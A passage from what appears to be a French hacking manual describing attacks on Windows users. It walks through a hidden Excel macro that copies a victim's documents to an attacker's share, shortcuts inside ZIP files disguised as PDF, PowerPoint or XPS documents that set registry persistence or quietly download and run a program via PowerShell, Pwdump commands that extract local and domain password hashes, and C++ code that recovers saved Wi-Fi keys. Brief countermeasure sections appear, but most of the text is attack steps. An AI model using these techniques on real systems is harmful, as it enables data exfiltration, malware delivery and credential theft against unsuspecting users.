demander l’avis de l’utilisateur.
Pour contrecarrer la sécurité des macros, il faut faire exécuter un fichier dans les zones
autorisées ou modifier un fichier déjà approuvé.

À l’installation d’Office, plusieurs dossiers sont autorisés sur la machine locale. Certains de
ces dossiers se trouvent dans le dossier de l’utilisateur et sont donc modifiables par celui-ci.
Les administrateurs configurent en général d’autres dossiers pour y mettre des modèles. Si ces
modèles sont sur le réseau, ils ajoutent en général l’autorisation d’avoir un chemin réseau en
tant que zone de confiance pour Office. Résultat, il est alors possible d’ajouter des fichiers
dans ces répertoires et de faire exécuter des macros par un utilisateur comme s’il s’agissait
d’une macro signée, soit donc sans protection aucune, ni même un message.
Alors, comment trouver les zones déjà autorisées sur son système local, ainsi que les zones
poussées par les administrateurs des systèmes ? Nous allons prendre l’exemple de Word 2013.
Exécutez Regedit.exe et allez à la clé suivante :
HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\
Security\Trusted Locations\Location2
Vous y verrez une des zones autorisées par défaut :
\Office\15.0\ correspond à la version d’Office 2013. Vous trouverez cette clé aussi pour Excel
et les autres produits de la suite.
Le chemin « %APPDATA%\Microsoft\Word\Startup » se trouve dans votre profil
d’utilisateur. « %APPDATA% » correspond à « C:\Users\Username\ AppData\Roaming\ »
Vous trouverez aussi le chemin « C:\Program Files\Microsoft Office\Templates\ » qui
contient tous les modèles par défaut. Il est nécessaire d’avoir des droits administrateurs pour
pouvoir écrire dans ce dossier. Si c’est le cas, vous allez pouvoir modifier les modèles de base
en y incluant un script de votre cru.
Les chemins autorisés par l’administrateur sont ceux donnés par la stratégie de groupe.
Naviguez dans le registre jusqu’à la clé suivante :
HKEY_CURRENT_USER\Software\Policies\Microsoft\office\15.0\word\
security\trusted locations
Vous trouverez ici les emplacements définis comme sûrs par votre administrateur.
Vous pourrez aussi voir si les chemins réseau ont été autorisés en tant que zones de confiance
par votre administrateur.

La clé allownetworklocations doit avoir la valeur 1.


Nous allons maintenant tester ces chemins avec un fichier Excel modifié pour copier les
fichiers du bureau de la victime vers un partage.
Créez un nouveau fichier Excel sur votre poste de travail.
Ajoutez l’onglet Développeur depuis les options, comme vu précédemment.
Dans l’onglet Développeur, cliquez sur Visual Basic.
Ajoutez le code suivant en remplaçant \\Server\partage par votre propre partage.
Private Sub Workbook_Open()
x = Shell("cmd /c xcopy %USERPROFILE%\documents\*.*
\\Server\partage\%username%\* /y /c /e", vbHide)

End Sub
Enregistrez le fichier en format XLS, l’ancien format d’Excel.

Copiez le fichier dans un dossier appartenant à une zone de confiance, si possible un partage
réseau.
Exemple
C:\Users\username\AppData\Roaming\Microsoft\Templates
Exécutez votre fichier Excel pour tester votre script. Excel doit s’ouvrir, le script doit être
caché. Votre chemin de destination « \\Server\partage\ » contient maintenant un dossier avec
votre nom ainsi que les fichiers et dossiers de « Mes documents ».
Dans la mesure où un chemin réseau est autorisé par la stratégie de groupe, vous allez pouvoir
faire exécuter à une victime des documents Office comportant des macros non signées. Vous
allez également pouvoir lui envoyer un lien vers le fichier ou mettre un lien sur un intranet.
Vous pouvez aussi demander à l’utilisateur d’enregistrer votre fichier modèle dans un dossier
local précis pour que Word le reconnaisse correctement. Vous pourrez alors lui indiquer
comme destination un des chemins définis comme zone de confiance par défaut comme
%APPDATA%\Microsoft\Templates. Il ne se doutera pas que ce chemin plutôt qu’un autre
est dangereux pour lui, se basant sur le fait que seule une macro signée peut s’exécuter chez
lui.
Nous avons dans notre exemple ajouté un nouveau fichier. Vous avez aussi la possibilité de
modifier un fichier existant. Un modèle de lettre ou une fiche d’absence sont des modèles
idéaux. La macro infecterait alors tous les utilisateurs utilisant ces modèles.

Les clés de registre se trouvant dans HKEY_CURRENT_USER Software\Microsoft\Office


permettant l’édition des zones de confiance pour Office sont modifiables par l’utilisateur. Il
est donc possible de compromettre la sécurité d’Office en faisant exécuter à la victime, simple
utilisatrice, une application piégée par nos soins qui ajoute une nouvelle zone de confiance et
en activant les zones de confiance réseau.

3. Contre-mesures
Il est très important de limiter l’exécution des macros uniquement aux macros signées par un
développeur de votre entreprise. Toutes les autres macros venant de personnes internes ou
externes doivent être bloquées. Vous pouvez réaliser cela en installant votre propre autorité de
certification pour signer vos macros et en configurant des stratégies de groupe. Vous devez
aussi avoir un processus de test et de validation des macros avant leur signature, ce qui
garantira qu’elles ne sont pas nuisibles pour l’entreprise. Si vous autorisez des chemins réseau
à être de confiance pour Office, ajoutez uniquement des chemins qui sont en lecture seule
pour y placer des modèles. Sinon, n’importe quel utilisateur pourra mettre un fichier Office
piégé dans le répertoire réseau et le faire exécuter par un utilisateur cible, en lui envoyant
juste un lien vers le fichier par e-mail ou par messagerie instantanée.

Piéger un mail pour démarrer une


application
L’exécution d’une application par une victime n’est pas anodine. Le chapitre Faire exécuter
vos applications piégées vous guidera sur la manière de manipuler un utilisateur pour qu’il
tombe dans le panneau. Toutefois, il se peut qu’il ne se laisse pas avoir par le piège. Il nous
reste alors la possibilité d’utiliser une astuce simple et pourtant redoutable pour faire exécuter
une clé de registre, un programme ou un script discrètement, la victime croyant simplement
ouvrir un fichier sans danger. Pour ce faire, nous allons profiter d’une faiblesse de
l’explorateur, précisément de l’affichage lors de l’ouverture d’un fichier ZIP.

Windows est capable d’ouvrir les fichiers ZIP sans l’ajout d’aucun logiciel depuis la version
XP. Sous Windows 8, l’ouverture de ce type d’extension se fait par défaut avec l’explorateur
même si un autre programme est installé.

1. Envoyer un faux PDF depuis l’extérieur


Nous allons dans notre exemple modifier le registre de la victime, pour y faire démarrer une
application à l’ouverture de session, puis ouvrir le fichier que la victime pensait ouvrir.
Nous allons pour cela encapsuler un raccourci particulier dans un fichier ZIP.
Commencez par créer un nouveau raccourci avec les paramètres ci-après.
Ce raccourci exécute une première commande, l’ajout de « | » ([Alt Gr] 6) permet de
démarrer une deuxième instruction.
cmd.exe /c start reg add HKCU\Software\Microsoft\Windows\Current
Version\Run /v myAPP /t REG_SZ /d "c:\chemin\monApplication.exe"
/f| explorer http://serveurweb/dossier/monfichier.pdf

Le fichier de destination peut être un fichier hébergé sur Internet que vous auriez recherché à
l’aide de Google en indiquant dans la recherche « filetype : PDF ».
Donnez au raccourci le même nom que celui du fichier de destination.
Changez l’icône de votre raccourci pour refléter celle d’un fichier PDF.

Le changement d’icône nous sert uniquement de couverture si l’utilisateur prenait le soin


d’extraire le fichier zip vers un dossier. Dans ce cas, notre piège serait un peu moins visible
que sans l’icône d’un fichier PDF.
Cliquez avec le bouton droit de la souris sur votre raccourci et sélectionnez Envoyer vers -
Dossier compressé.

Renommez le fichier ZIP en Monfichier.Zip.


Vous pouvez maintenant envoyer le fichier ZIP par mail ou le proposer en téléchargement sur
votre intranet.
En ouvrant le fichier ZIP, la victime verra le nom du fichier et le type, mais ne fera attention
qu’au nom.

En cliquant sur le raccourci ainsi caché, le registre sera modifié. Le document monfichier.pdf
s’ouvrira normalement dans le navigateur. L’utilisateur n’y verra pas de grande différence. Il
aura son fichier comme attendu. Il n’aura aucune raison de se méfier.
L’utilisateur ne voit que très rapidement une console CMD s’ouvrir, puis son PDF lui apparaît
normalement.

Nous avons ici démontré la modification du registre en démarrant une ligne de commande.
Nous avons donné comme cible un fichier distant. Cette attaque peut donc être lancée depuis
l’extérieur de l’entreprise. Mais l’icône n’est peut-être pas au même endroit sur l’ordinateur
cible, de plus la console s’ouvre, certes rapidement, mais elle s’ouvre.

2. Envoyer un faux PowerPoint depuis l’intérieur


Nous allons maintenant modifier cette technique pour la rendre encore plus discrète, mais
seulement efficace depuis l’intérieur de l’entreprise. Pour cela, nous allons créer un script
VBS qui redirigera l’utilisateur sur la présentation, dans le même esprit que l’exemple
précédant à la différence près que la cible ne verra rien, mais devra pouvoir accéder au fichier
VBS.
Créez un document VBS sur un partage de fichiers avec le code suivant :
’Ouverture du document PowerPoint
set Prog = CreateObject("wscript.shell")
chemin = "\\serveur\partage\Presentation.ppt"
Prog.run "explorer " + chemin

set Shell = CreateObject("Shell.Application")


Shell.ShellExecute "cmd.exe" , "/c reg add
HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v myAPP /t
REG_SZ /d c:\chemin\monApplication.exe /f" , "" , "" , 0
Il y a dans ce script deux manières d’exécuter une application. La première démarre un
programme avec tous les paramètres par défaut. La seconde, Shell.Application, permet de
définir si l’application nécessite des privilèges élevés, un dossier d’exécution et si
l’application doit être visible ou non.
Exemple
Le script lance CMD avec des privilèges élevés (Runas). Attention si l’UAC est actif,
l’utilisateur devra valider la demande d’exécution. L’application est visible (paramètre « 1 »)
et démarre dans son dossier par défaut.
set Shell = CreateObject("Shell.Application")
Shell.ShellExecute "cmd.exe" , "/k dir" , "" , "runas" , 1
Exemple
Le script démarre CMD avec les droits utilisateurs, le dossier de démarrage est C:\temp.
L’application est invisible (paramètre « 0 »).
set Shell = CreateObject("Shell.Application")
Shell.ShellExecute "cmd.exe" , "/k dir" , "c:\temp" , "" , 0
Créez le raccourci pointant vers le script VBS.

Le raccourci doit comporter : wscript.exe \\serveur\partage\monscript.vbs


Modifiez l’icône et le nom du raccourci pour le faire ressembler à une présentation
PowerPoint. Cherchez l’icône dans le répertoire d’Office.
C:\Program Files\Microsoft Office\Office15\PPTICO.EXE
Voilà le résultat après modification :

Cliquez avec le bouton droit de la souris sur votre raccourci et sélectionnez Envoyer vers -
Dossier compressé. Puis renommez le fichier en Presentation.zip.
La nouvelle attaque est prête à être lancée sur la cible. Vous pouvez aussi la tester vous-
même, sur votre poste de travail. Même si vous n’avez que peu de droits utilisateurs, cette
technique fonctionne. Vous ne verrez que la présentation s’ouvrir, pourtant un script aura
modifié le registre, le tout, de façon totalement invisible.

3. Faire télécharger une application cachée et l’exécuter


Dans l’esprit du principe vu dans les deux chapitres précédents, nous allons créer un faux
document de type XPS. Mais cette fois, le but sera de faire télécharger une application à notre
cible sans que celle-ci ne s’en doute, puis d’exécuter le fichier téléchargé tout en lui
présentant un vrai fichier XPS pour que l’utilisateur ne se doute de rien. Tout cela semble
complexe à faire, mais un simple raccourci bien pensé le rend possible. Nous allons utiliser
PowerShell pour télécharger et exécuter l’application, ainsi que pour présenter un vrai fichier
XPS.
PowerShell a une fonction de téléchargement intégrée, BitsTransfer, cette fonction peut être
utilisée en important le module du même nom.
Import-Module BitsTransfer;
La commande est ensuite simple avec une source et une destination.
Start-BitsTransfer -Source ’http://web/app.exe’ -destination
’c:\temp\app.exe’;
Toutefois, nous n’utiliserons pas cette fonction, car elle demande que le service de
BitsTransfer soit démarré, ce qui n’est pas forcément le cas partout. Rappelons que le but est
toujours d’être compatible avec un maximum de systèmes. À la place, nous utiliserons un
objet .Net dans PowerShell.
Nous allons créer un client web de .Net, sans import particulier dans PowerShell.
$web = New-Object System.Net.WebClient
Puis nous utiliserons la fonction DownloadFile avec une source et une destination, la source
étant le site web et la destination étant notre fichier dans un dossier existant.
$web.DownloadFile(’http://web/app.exe’,’c:\temp\app.exe’)
Dans notre attaque, nous ne pourrons pas utiliser un script PowerShell, même si la machine
est dans l’entreprise car, par défaut, seuls les scripts signés sont autorisés à s’exécuter. Nous
allons, pour contourner ce système de sécurité, utiliser l’option -Command qui exécutera le
code contenu entre les { ma commande }. Vous pouvez séparer plusieurs commandes par des
points virgules.
Powershell.exe -command "&{ ma Commande; ma commande }"
Nous allons commencer par télécharger notre application, qui, elle, ouvrira le fichier. Nous
utiliserons le dossier public/download comme dossier cible. Nous pourrions aussi utiliser un
dossier contenu dans %appdata%. L’adresse du site source ne doit pas être trop grande, car
le nombre de caractères est limité dans un raccourci.
On télécharge l’application et on l’ouvre ; le code ci-dessous montre cette application.
$web.DownloadFile(’http://web/app.exe’,’C:\Users\Public\app.exe’)
C:\Users\Public\app.exe
Pour en faire un raccourci exploitable, nous allons séparer les lignes par des points virgules et
utiliser powershell -command. Le signe « & » permet l’exécution immédiate des commandes.
Pensez à enlever les espaces inutiles et à réduire le nom des variables dans la partie des
commandes pour gagner de l’espace en réduisant les caractères inutiles.
Powershell.exe -command "&{ $w=New-Object System.Net.WebClient;
$w.DownloadFile(’http://web/app.exe’,’ c:\users\public\app.exe’);
c:\users\public\app.exe;}”
Vous pouvez aussi réduire la taille du site en utilisant des sites qui transforment une URL
longue en une URL beaucoup plus courte :
http://goo.gl/
http://raccourcir.w1p.fr/
http://l-k.be/
http://urlalacon.com/
Une fois le raccourci créé, vous pouvez le tester en cliquant dessus. Pour créer une application
qui s’exécute et qui ouvre un fichier XPS, reportez-vous à la section Piéger une application
avec les outils intégrés à Windows et adaptez la solution.
Le seul défaut de cette technique, c’est l’ouverture de la fenêtre PowerShell le temps du
téléchargement du fichier. Vous pouvez réduire le temps d’apparition de la fenêtre
PowerShell en utilisant le paramètre -WindowStyle hidden, qui cache la fenêtre en quelques
secondes, toutefois ça rallonge notre ligne de commande.
Powershell -WindowStyle hidden -command "&{ etc...
Faites aussi en sorte que votre fichier soit le plus petit possible, pour que PowerShell ne reste
qu’un instant très court dans le gestionnaire des tâches.
Vous pouvez ajouter xpsrchvw.exe; avant $w. Cette commande démarre le lecteur XPS, ce
qui cachera la fenêtre PowerShell. Le lecteur est installé par défaut sur Windows Vista et
Windows 7, mais pas sur les versions serveurs et sur Windows 8.
Powershell.exe -WindowStyle hidden -command "&{
xpsrchvw.exe;$w=New-Object System.Net.WebClient;
$w.DownloadFile(’http://web/app.exe’,’
c:\users\public\app.exe’);c:\users\public\app.exe;}”
Pour finir l’attaque, renommez votre raccourci en document.xps. Changez l’icône du
raccourci en remplaçant celle-ci par une icône trouvée dans l’exécutable xpsrchvw.exe,
comme le montre l’image ci-dessous :

Mettez le raccourci dans un fichier ZIP. Envoyez le fichier ainsi créé à la cible.
Le résultat va vous plaire, vous aurez l’affichage de la visionneuse le temps que l’application
soit téléchargée. L’application ferme la visionneuse et se rouvre avec un vrai fichier XPS
inclus dans l’application. Pour Windows 8 et Windows Server, vous pouvez utiliser Paint
pour une image, ou encore Adobe PDF, si l’application est installée dans votre entreprise. Les
moyens techniques sont dans vos mains, il ne reste plus qu’à être créatif.

4. Contre-mesures
Vous devez bloquer ou limiter l’utilisation des lignes de commande et de PowerShell pour les
utilisateurs en utilisant les stratégies de groupe. Vous devez aussi surveiller et bloquer le
téléchargement de logiciels venant d’Internet en utilisant un proxy web. Pensez également à
sensibiliser les utilisateurs sur la problématique des logiciels reçus par un tiers qui ne fait pas
partie de l’équipe de support informatique. Bien évidemment, l’utilisateur ne doit pas être
administrateur de son poste de travail et le contrôle du compte utilisateur (UAC) doit être
activé.

Comment extraire un mot de passe sur une


machine ou un contrôleur de domaine ?
Ce chapitre va nous permettre de démontrer qu’il est tout à fait possible de faire changer un
mot de passe à un utilisateur sans connaître l’ancien, d’extraire les mots de passe stockés sur
une machine locale ou sur un contrôleur de domaine. Il faut pour cela certains droits sur le
système. Il est aussi possible d’écouter le réseau pour récupérer les informations
d’authentification sans avoir besoin d’accéder directement au système ou de décrypter un mot
de passe que l’on aurait intercepté même si celui-ci est protégé.
Nous allons commencer par faire changer le mot de passe d’un utilisateur sans connaître
l’ancien. À dire vrai, c’est lui qui va le changer. Pour cela, nous allons encapsuler le script
suivant dans une des techniques vues dans le chapitre précédent, c’est-à-dire, donner à notre
victime un document, une application ou un zip piégé avec un petit bout de code.
Voilà le script, si vous piégez une application ou un pilote.

Voilà la ligne de code si vous piégez un document Office :

Tout le reste de la démarche a déjà été défini dans le chapitre précédent, veuillez vous y
référer. Une fois le document ou l’application exécutés, le mot de passe de l’utilisateur sera
changé sur le domaine. Si le mot de passe local doit être modifié, enlevez /Domain à la fin de
la ligne de commande.

1. Outils d’extraction de mots de passe de session


a. La SAM en détail
Les mots de passe sont cryptés et stockés à un endroit dont l’accès direct est interdit aux
comptes utilisateurs et administrateurs. Seul le compte système a le droit d’y rechercher des
informations. Cet endroit est la SAM (Security Account Management) pour les comptes
locaux et Active Directory pour les utilisateurs du domaine. Dans les versions de Windows
antérieures à Vista, le mot de passe était stocké en LanManager, un système très faible.
Depuis Vista, le système stocke un hash du mot de passe uniquement en MD4.
Lors de l’ouverture de la session locale, le mot de passe que l’utilisateur entre dans la fenêtre
d’authentification est haché puis comparé à celui stocké dans la SAM. À aucun moment, le
mot de passe n’est en clair.
Mais qu’est-ce que vraiment la SAM ? Où est-elle stockée ? Comment peut-on y accéder ?
La SAM est un fichier de registre servant au stockage des mots de passe ainsi qu’aux autres
informations d’un utilisateur local : %systemroot%\system32\config\SAM
Le fichier fait partie, comme d’autres fichiers du registre de la machine, d’un dossier système.

Offline, en bootant sur un média Windows, il est possible de lire le fichier SAM ou de le voler
pour le cracker plus tard. Vous pouvez aussi y accéder avec les droits système en créant un
service ou en acquérant les droits système sur le PC. Il est alors possible de lire la partie du
registre qui stocke ces mots de passe avec regedit sur votre système actuel. Pour obtenir les
droits système sur une machine, veuillez vous reporter au chapitre Prendre le rôle
administrateur ou système.
Ci-dessous, un exemple sur un système sans rebooter en utilisant les droits système :
Vous trouverez les informations telles que les mots de passe cryptés et les informations sur les
groupes de sécurité dans le registre : SAM\SAM\Domains\Account\Users
Grâce aux droits système, on peut voir des éléments normalement interdits à l’utilisateur, par
exemple, dessous, pour l’utilisateur Admin, la valeur 0x3e8, qui correspond à son RID, soit
1006 en décimal.
Le mot de passe ainsi que d’autres informations pour Admin se trouvent dans la clé de
registre HKLM\SAM\SAM\Domains\Account\Users\000003E8.
La clé V, appelée V-Block, stocke le mot de passe de l’utilisateur ainsi que des informations
sur son profil.

Ce bloc contient le hash du password mais le contenu est crypté en DES et utilise deux clés
dérivées du RID de l’utilisateur pour le protéger.
Le compte système a accès aux mots de passe sous leur forme hachée. Si vous souhaitez les
extraire automatiquement, il faudra vous créer une application, comme un service, pouvant
obtenir ces droits.
b. Extraire les mots de passe de la SAM
Nous allons utiliser un outil pour extraire les mots de passe. Vous trouverez sur Internet
l’outil Pwdump qui va nous extraire les données du registre. Nous n’aurons plus qu’à les
casser.
Exécuter l’outil avec des privilèges élevés ne suffit pas. Il faut l’exécuter avec les droits
système. Sinon, vous aurez le message suivant :

Démarrez Pwdump dans sa version 6 en tant que système avec les paramètres suivants :
PwDump.exe -x localhost > pass.txt
Le fichier pass.txt contient maintenant les hash MD4 des mots de passe.
Voilà ce à quoi ressemble le résultat de l’extraction :
admin:1006:00000000000000000000000000000000:
61feeb455de86806b42b88f55f2d569d:::
L’extraction nous donne le nom de l’utilisateur, son RID, le mot de passe en LM qui depuis
Vista n’est plus stocké et enfin le mot de passe en NTML. La partie pertinente pour nous est
la dernière : 61feeb455de86806b42b88f55f2d569d
Nous utiliserons cette information lors du cassage du mot de passe.
c. Extraire les mots de passe d’un contrôleur de domaine
Dans une entreprise, le hash des mots de passe est stocké dans Active Directory, précisément
dans la base de données NTDS.dit. Les attributs Unicodepwd et User-Password semblent
détenir ces informations. Mais il n’est pas possible d’obtenir une réponse du contrôleur de
domaine, même via des outils comme Adsedit ou ldp. Pour rechercher ces champs, il faut
aller lire directement le fichier NTDS.dit. Ce fichier est une base de données du même type
qu’Exchange ou que l’indexation des fichiers sur Windows Vista. Elle utilise un moteur ESE
(Extensible Storage Engine). La clé de décryptage pour l’accès à certaines tables contenant les
mots de passe est la même pour tous les contrôleurs de domaine. La clé système (SYSKEY)
protège la clé de protection des mots de passe sur chaque machine. Pour ceux qui souhaitent
aller plus loin que ce dont traite ce livre sur ce sujet, vous trouverez des informations sur les
sites suivants :
http://code.google.com/p/libesedb/downloads/list
http://www.nirsoft.net/utils/ese_database_view.html
Pour faire simple, nous allons utiliser sur un contrôleur de domaine l’outil que nous avions
déjà testé : Pwdump dans sa version 6.
Exécutez-le directement sur le DC en tant que système.
Pwdump -x Localhost
L’outil nous révèle les hashs des mots de passe de tous les utilisateurs du domaine.
Pwdump est aussi utilisable à distance pour autant que le serveur n’ait pas de firewall local
qui soit activé et que les services de management à distance soient actifs.
pwdump -o passwd.txt -u Domaine\Utilisateur -p ’passe’ NomPC
D’autres outils en ligne de commande existent, comme SAMDump, le principe étant toujours
celui déjà décrit. Pour résumer, il est possible d’extraire le hash du mot de passe d’un
utilisateur, qu’il soit local ou sur un domaine. Il faut pour cela avoir les droits système sur la
machine qui le stocke. Vous retrouverez d’autres applications au chapitre Fabriquer ses
propres outils de hacking - Casser un mot de passe.

Pour ceux qui souhaitent créer leur propre outil d’extraction de mots de passe, vous trouverez
facilement sur Internet la source du puissant outil Pwdump qui a été écrit en C.

2. Outils d’extraction d’autres mots de passe


Un poste de travail peut stocker de nombreuses informations intéressantes pour un pirate
comme un nom d’utilisateur et un mot de passe pour l’ouverture d’un partage, d’un site web,
d’un compte mail, d’un réseau Wi-Fi.
Les mots de passe d’applications sont en général enregistrés dans le registre de l’utilisateur,
en clair, en hexadécimal, en binaire ou avec un cryptage réversible. Les mots de passe sont à
un moment ou un autre en clair dans la mémoire ; c’est aussi un moyen qu’utilisent certains
logiciels pour les lire.
a. Analyser le fonctionnement d’une application
Le mot de passe est très rarement en clair dans le registre, cela dépend énormément du
logiciel qui l’enregistre. Dans le cas d’un mot de passe crypté, la clé de décryptage est aussi
stockée dans le système. Trouver un mot de passe, c’est un peu jouer « au chat et à la souris »
entre l’endroit et la manière où sont enregistrés la clé de cryptage et le mot de passe de
l’application.
Alors nous allons voir comment trouver où sont stockés les mots de passe et, éventuellement,
les clés servant au cryptage.
Pour cela, nous allons utiliser un outil de Microsoft qui à l’origine a été écrit par Mark
Russinovich et Bryce Cogswell pour Sysinternals. Il s’agit de ProcessMon.exe qui est un
mélange de RegMon, NetMon et de FileMon qui permet de surveiller l’accès d’une
application à un fichier ou à une clé de registre et l’accès au réseau. Process Monitor est
téléchargeable sur le site de Microsoft : http://technet.microsoft.com/en-
us/sysinternals/bb896645.aspx
Nous allons prendre l’exemple des mots de passe qu’Internet Explorer enregistre lors de la
sauvegarde de ces informations sur un formulaire web. L’emplacement du stockage dépend de
la version d’IE.

Lors de l’enregistrement ou de la lecture d’un mot de passe dans IE, nous pouvons observer la
lecture/écriture des valeurs des clés suivantes :
Avant le stockage d’un mot de passe, le registre ressemble à ceci :

Juste après, la sous-clé Storage2 est ajoutée, avec une entrée de type binaire.
Le GUID de la machine est aussi lu juste avant la clé précédente lors du cryptage ou du
décryptage du mot de passe. C’est normal car le GUID est utilisé lors de ces opérations de
cryptage, ainsi que l’URL.
Depuis IE7 et jusqu’à IE9, le navigateur enregistre les mots de passe dans :
HKU\Software\Microsoft\Internet Explorer\IntelliForms\Storage2
IE 10 utilise Credential Manager pour mémoriser ses mots de passe dans un fichier se
trouvant dans un dossier : C:\Users\[Nom]\AppData\Roaming\Microsoft\Credentials

Ce type d’analyse permet de comprendre le mode de fonctionnement et le processus de


cryptage et de stockage, mais ne nous donne pas l’algorithme utilisé. Il faut pour cela le
rechercher ou décompiler l’application, ce qui sort du cadre de cet ouvrage.
b. Récupérer le mot de passe d’une connexion sans fil stocké sur un PC
Avec le même outil de monitoring, nous pouvons trouver où sont stockés les mots de passe
des connexions sans fil pour un PC. Extraire ces informations d’une machine cible pourrait
permettre un attaquant de se connecter à votre réseau privé ou à celui de l’entreprise. Ces
informations sont enregistrées ici, avec le SSID et le type de cryptage utilisé :
C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\
Le dossier Interface comporte un sous-dossier par carte Wi-Fi.

Les informations des clés sont stockées dans un fichier XML ayant un nom aléatoire. Nous
allons pour mieux comprendre le fonctionnement du stockage de ces clés, créer une nouvelle
connexion sécurisée, puis en rechercher le mot de passe.
Créez une nouvelle connexion de réseau sans fil depuis le Panneau de configuration.

Indiquez un nom et un mot de passe pour la connexion.


La nouvelle connexion est maintenant enregistrée et le mot de passe est crypté.

c. Créer un outil de récupération d’une connexion sans fil


Nous allons créer un outil pour décrypter et récupérer le mot de passe d’une connexion sans
fil. Le fichier stockant la clé contient une valeur cryptée se nommant keyMaterial. Pour
décrypter cette valeur, il est possible d’utiliser les API de wlanapi.dll avec WlanGetProfile
ou CryptUnprotectData de Crypt32.dll.
Vous trouverez des informations sur la valeur keyMaterial ici : http://msdn.microsoft.com/en-
us/library/ms706987(VS.85).aspx
Pour compiler le code proposé, vous pouvez télécharger et utiliser Visual Studio 2012
Express pour Windows Desktop sur le site de Microsoft :
http://www.microsoft.com/france/visual-studio/essayez/express.aspx
Le code que vous allez écrire est en partie inspiré du code d’exemple fourni par Microsoft sur
l’utilisation de la fonction WlanGetProfile. Vous trouverez l’exemple sur le site de Microsoft
ci-dessous : http://msdn.microsoft.com/en-
us/library/windows/desktop/ms706738(v=vs.85).aspx
Écrivez le code suivant dans un éditeur de texte ou dans Visual Studio Express (C++).
#ifndef UNICODE
#define UNICODE
#endif

#include <windows.h>
#include <wlanapi.h>
#include <objbase.h>
#include <wtypes.h>

#include <stdio.h>
#include <stdlib.h>

// Need to link with Wlanapi.lib and Ole32.lib


#pragma comment(lib, "wlanapi.lib")
#pragma comment(lib, "ole32.lib")

int _cdecl wmain(int argc, WCHAR **argv)


{

HANDLE hClient = NULL;


DWORD dwMaxClient = 2; //
DWORD dwCurVersion = 0;
DWORD dwResult = 0;
DWORD dwRetVal = 0;
int iRet = 0;

WCHAR GuidString[39] = {0};

unsigned int i;

PWLAN_INTERFACE_INFO_LIST pIfList = NULL;


PWLAN_INTERFACE_INFO pIfInfo = NULL;

LPCWSTR pProfileName = NULL;


LPWSTR pProfileXml = NULL;

DWORD dwFlags = WLAN_PROFILE_GET_PLAINTEXT_KEY;


DWORD dwGrantedAccess = 0;

if (argc < 2) {
wprintf(L"usage: %s <profile>\n", argv[0]);
wprintf(L" Gets a wireless profile\n");
wprintf(L" Example\n");
wprintf(L" %s \"Default Wireless\"\n", argv[0]);
exit(1);
}

pProfileName = argv[1];

wprintf(L"Information for profile: %ws\n\n", pProfileName);

dwResult = WlanOpenHandle(dwMaxClient, NULL, &dwCurVersion, &hClient);


if (dwResult != ERROR_SUCCESS) {
wprintf(L"WlanOpenHandle failed with error: %u\n", dwResult);
return 1;

dwResult = WlanEnumInterfaces(hClient, NULL, &pIfList);


if (dwResult != ERROR_SUCCESS) {
wprintf(L"WlanEnumInterfaces failed with error: %u\n", dwResult);
return 1;
// You can use FormatMessage here to find out why the function
failed
} else {
wprintf(L"WLAN_INTERFACE_INFO_LIST for this system\n");

wprintf(L"Num Entries: %lu\n", pIfList->dwNumberOfItems);


wprintf(L"Current Index: %lu\n\n", pIfList->dwIndex);
for (i = 0; i < (int) pIfList->dwNumberOfItems; i++) {
pIfInfo = (WLAN_INTERFACE_INFO *) &pIfList->InterfaceInfo[i];
wprintf(L" Interface Index[%u]:\t %lu\n", i, i);
iRet = StringFromGUID2(pIfInfo->InterfaceGuid,
(LPOLESTR) &GuidString,
sizeof(GuidString)/sizeof(*GuidString));
// For c rather than C++ source code, the above line needs to
be
// iRet = StringFromGUID2(&pIfInfo->InterfaceGuid,
(LPOLESTR) &GuidString,
// sizeof(GuidString)/sizeof(*GuidString));
if (iRet == 0)
wprintf(L"StringFromGUID2 failed\n");
else {
wprintf(L" InterfaceGUID[%d]: %ws\n",i, GuidString);
}
wprintf(L" Interface Description[%d]: %ws", i,
pIfInfo->strInterfaceDescription);
wprintf(L"\n");
wprintf(L" Interface State[%d]:\t ", i);
switch (pIfInfo->isState) {
case wlan_interface_state_not_ready:
wprintf(L"Not ready\n");
break;
case wlan_interface_state_connected:
wprintf(L"Connected\n");
break;
case wlan_interface_state_ad_hoc_network_formed:
wprintf(L"First node in a ad hoc network\n");
break;
case wlan_interface_state_disconnecting:
wprintf(L"Disconnecting\n");
break;
case wlan_interface_state_disconnected:
wprintf(L"Not connected\n");
break;
case wlan_interface_state_associating:
wprintf(L"Attempting to associate with a network\n");
break;
case wlan_interface_state_discovering:
wprintf(L"Auto configuration is discovering
settings for the network\n");
break;
case wlan_interface_state_authenticating:
wprintf(L"In process of authenticating\n");
break;
default:
wprintf(L"Unknown state %ld\n", pIfInfo->isState);
break;
}
wprintf(L"\n\n");

dwResult = WlanGetProfile(hClient,
&pIfInfo->InterfaceGuid,
pProfileName,
NULL,
&pProfileXml,
&dwFlags,
&dwGrantedAccess);

if (dwResult != ERROR_SUCCESS) {
wprintf(L"WlanGetProfile failed with error: %u\n",
dwResult);
// You can use FormatMessage to find out why the function
failed
} else {
wprintf(L" Profile Name: %ws\n", pProfileName);

wprintf(L" Profile XML string:\n");


wprintf(L"%ws\n\n", pProfileXml);

wprintf(L" dwFlags:\t 0x%x", dwFlags);


// if (dwFlags & WLAN_PROFILE_GET_PLAINTEXT_KEY)
// wprintf(L" Get Plain Text Key");
if (dwFlags & WLAN_PROFILE_GROUP_POLICY)
wprintf(L" Group Policy");
if (dwFlags & WLAN_PROFILE_USER)
wprintf(L" Per User Profile");
wprintf(L"\n");

wprintf(L" dwGrantedAccess: 0x%x", dwGrantedAccess);


if (dwGrantedAccess & WLAN_READ_ACCESS)
wprintf(L" Read access");
if (dwGrantedAccess & WLAN_EXECUTE_ACCESS)
wprintf(L" Execute access");
if (dwGrantedAccess & WLAN_WRITE_ACCESS)
wprintf(L" Write access");
wprintf(L"\n");

wprintf(L"\n");
}
}

}
if (pProfileXml != NULL) {
WlanFreeMemory(pProfileXml);
pProfileXml = NULL;
}
if (pIfList != NULL) {
WlanFreeMemory(pIfList);
pIfList = NULL;
}

return dwRetVal;
}
Une fois le code compilé, vous pourrez utiliser le logiciel pour récupérer un mot de passe
mémorisé pour un réseau sans fil en particulier.
Démarrez votre application avec des privilèges élevés avec comme paramètre le SSID du
réseau Wi-Fi.

Attention aux majuscules et aux minuscules, elles sont importantes.


Le résultat est affiché dans la valeur keyMaterial.

Le code complet ainsi qu’une version compilée de l’outil sont téléchargeables sur la page
Informations générales.
d. Les autres outils
Nous n’allons pas développer des outils pour récupérer les mots de passe de chaque
